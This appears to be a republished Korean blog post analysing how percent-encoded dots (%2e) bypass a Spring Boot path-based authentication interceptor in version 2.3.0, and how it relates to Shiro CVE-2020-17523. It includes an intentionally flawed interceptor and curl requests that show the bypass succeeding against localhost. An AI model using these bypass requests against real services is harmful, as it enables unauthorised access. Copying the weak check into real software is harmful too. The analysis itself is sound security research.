SpringBoot 에서%2e 에 대한 Trick 에 대해 자세히 알 아 보기
7958 단어 SpringBootTrick%2e
여기 서 우 리 는 하나의 예 를 통 해 이 Trick 을 보고 그 원인 을 분석 합 니 다.
일단 저희 가 SprinBoot 버 전 을 설정 해 보도 록 하 겠 습 니 다.
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
컨트롤 러 만 들 기
@RestController
public class httpbinController {
@RequestMapping(value = "no-auth", method = RequestMethod.GET)
public String noAuth() {
return "no-auth";
}
@RequestMapping(value = "auth", method = RequestMethod.GET)
public String auth() {
return "auth";
}
}
다음 에 대응 하 는 Interceptor 를 설정 하여 no-auth 를 제외 한 경로 에 대한 차단 을 실현 합 니 다.
@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(handlerInterceptor())
//
.addPathPatterns("/**");
}
@Bean
public HandlerInterceptor handlerInterceptor() {
return new PermissionInterceptor();
}
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String uri = request.getRequestURI();
uri = uri.replaceAll("//", "/");
System.out.println("RequestURI: "+uri);
if (uri.contains("..") || uri.contains("./") ) {
return false;
}
if (uri.startsWith("/no-auth")){
return true;
}
return false;
}
}
위 코드 에서 알 수 있 듯 이 getRequestURI 를 사용 하여 경로 판단 을 진행 합 니 다.보통 starts With,contains 와 같은 판단 방식 을 볼 수 있 습 니 다.이것 은 안전 하지 않 습 니 다.우 리 는 돌아 가 는 방식 이 많 습 니 다.예 를 들 어...또는...등,하지만 사실 starts With 로 화이트 리스트 를 판단 할 때 구 조 는 디 렉 터 리 를 뛰 어 넘 는 기호 와 떨 어 질 수 없다.그렇다면 상기 코드 와 같은 상황 은 어떻게 돌아 갑 니까?정 답 은%2e 입 니 다.
요청 은 다음 과 같 습 니 다.
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0
RequestURI 출력 은RequestURI: /no-auth/%2e%2e/auth
%2e%2e 를 통 해 Permission Interceptor 의 판단 을 돌아 가 는 동시에 경로 가 성공 적 으로 일치 하 는 것 을 볼 수 있 습 니 다.경로 가 일치 할 때%2e 를 디 코딩 한 것 이 분명 합 니 다.
SpringBoot 버 전 으로 다시 전환 해서 볼 게 요.
<version>2.3.1.RELEASE</version>
요청 을 했 습 니 다.물론 차단 이 지 났 지만 일치 하 는 경로 가 성공 하지 않 았 습 니 다.404 로 돌아 갑 니 다.
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
RequestURI 출력 은RequestURI: /no-auth/%2e%2e/auth
SpringBoot 버 전이 2.3.0.RELEASE 보다 작은 경우 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있다 는 결론 을 얻 을 수 있 습 니 다.
그럼 왜 그 랬 을 까?
SpringMVC 에서 경로 매 칭 을 진행 할 때 Dispatcher Servlet 에서 시작 하여 Handler Mapping 에서 Handler 를 가 져 옵 니 다.이 럴 때 path 매 칭 을 진행 합 니 다.
코드 를 따라 가서 이 관건 적 인 곳 org.springframework.web.util.UrlPathHelper\#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)를 봅 시다.
여기 서 재 미 있 는 현상 이 나타 납 니 다.2.3.0.RELEASE 에서 always UseFullPath 를 기본 값 false 로 합 니 다.
2.3.1.RELEASE 에서 always UseFullPath 는 true 로 설정 되 었 습 니 다.
이 로 인해 서로 다른 결 과 를 초래 했다.하 나 는 getPath WithinApplication 으로 향 했 고 다른 하 나 는 getPath WithinServletMapping 으로 향 했다.
getPath WithinServletMapping 에서 ServletPath 를 가 져 옵 니 다.ServletPath 는 디 코딩 을 합 니 다.이 많은 Tomcat url 차 이 를 말 하 는 글 은 다 언급 했 으 니 더 이상 말 하지 않 겠 습 니 다.그래서 결국 돌아 가 는 상황 을 설명 했다.
그러면 Trick 의 구체 적 인 설명 은 SpringBoot 버 전이 2.3.0.RELEASE 보다 작 을 때 always UseFullPath 를 기본 값 false 로 하여 금 ServletPath 를 가 져 올 수 있 기 때문에 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있 습 니 다.
이 는 Shiro 의 CVE-2020-17523 의 한 자세 와 호응 하여 고 버 전 SpringBoot 만 있 으 면 됩 니 다.always UseFullPath 를 수 동 으로 설정 하지 않 아 도 됩 니 다.
$ curl -v http://127.0.0.1:8080/admin/%2e
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0
관심 있 는 거 다시 봐 도 돼 요.추가 수확 이 있 을 지도 모른다 고.그 나 저 나 왜 하 이 버 전에 서 always Use FullPath 가 true 로 설정 되 었 을 까?
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfiguration Adapter\#configurePathMatch 로 거 슬러 올 라 가 야 합 니 다.
spring-boot-autoconfigure-2.3.0.RELEASE 에서
spring-boot-autoconfigure-2.3.1.RELEASE 에서
왜 이렇게 설 치 했 어 요?git log 를 살 펴 보고 답 을 드 렸 습 니 다.
https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af
Servlet 맵 이'/'일 때 정 부 는 이러한 설정 이 더욱 효율 적 이 라 고 생각 합 니 다.요청 경로 의 처리 가 적 기 때 문 입 니 다.
servlet.path 를 설정 하 는 것 은 다음 과 같 지만 특별한 수요 가 없 는 한 이렇게 설정 하지 않 습 니 다.
spring.mvc.servlet.path=/test/
따라서 마지막 으로 SpringBoot 버 전이 2.3.0.RELEASE 보다 작은 경우 always UseFullPath 를 기본 값 false 로 하여 금 ServletPath 를 가 져 올 수 있 기 때문에 경로 가 일치 할 때%2e 를 디 코딩 하여 인증 이 돌아 갈 수 있 습 니 다.한편,고 버 전 은 효율 을 높이 기 위해 always UseFullPath 를 true 로 자동 으로 설정 하여 전체 경 로 를 열 었 고 이 는 Shiro 의 CVE-2020-17523 중의 이용 자 세 를 만 들 었 다.SpringBoot 의%2e 에 관 한 Trick 에 대한 자세 한 설명 은 여기까지 입 니 다.SpringBoot Trick 에 관 한 더 많은 내용 은 저희 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 읽 어 주시 기 바 랍 니 다.앞으로 도 많은 응원 부 탁 드 리 겠 습 니 다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
【Java・SpringBoot・Thymeleaf】 에러 메세지를 구현(SpringBoot 어플리케이션 실천편 3)로그인하여 사용자 목록을 표시하는 응용 프로그램을 만들고, Spring에서의 개발에 대해 공부하겠습니다 🌟 마지막 데이터 바인딩에 계속 바인딩 실패 시 오류 메시지를 구현합니다. 마지막 기사🌟 src/main/res...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.